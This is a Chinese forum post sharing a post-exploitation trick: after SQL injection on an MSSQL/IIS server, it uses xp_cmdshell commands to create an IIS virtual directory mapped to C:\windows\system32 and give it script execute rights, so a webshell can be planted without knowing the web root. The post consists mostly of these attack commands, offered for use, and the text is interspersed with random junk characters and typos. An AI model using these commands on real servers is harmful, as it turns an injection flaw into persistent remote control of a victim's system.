
- 帖子
- 120
- 积分
- 470
- 威望
- 636
- 金钱
- 101
- 在线时间
- 31 小时
   
|
很多情况下我们都会遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,应该算是无意中发现了一招,感觉不错 整理下发上来给大家分享:; h# ?7 m. Q5 X1 ?; e! L
! e& d0 M$ o& Mexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
" e# P# L2 u( } v* r4 h# D建立虚拟目录win,指向c:\windows\system32! h1 \/ f! v9 B/ V) G9 @ t
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'# @; ^5 X# ^# G# X& _$ e; y
让win句有解析asp脚本权限
) f, `$ C; ]% a! w5 _' [& l' s3 G9 d7 Y: G
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"! f# Z! m- {# ^: k8 i
删除虚拟目录。. f7 ]6 i6 |$ N4 Z8 M! f7 v
找不到web绝对路径的一种解决办法,
& y. g1 ?" w" Y6 t9 t0 ?" S1 t& P: B3 I
403错误,表示虚拟目录建好了。。 |
-
1
评分人数
-
|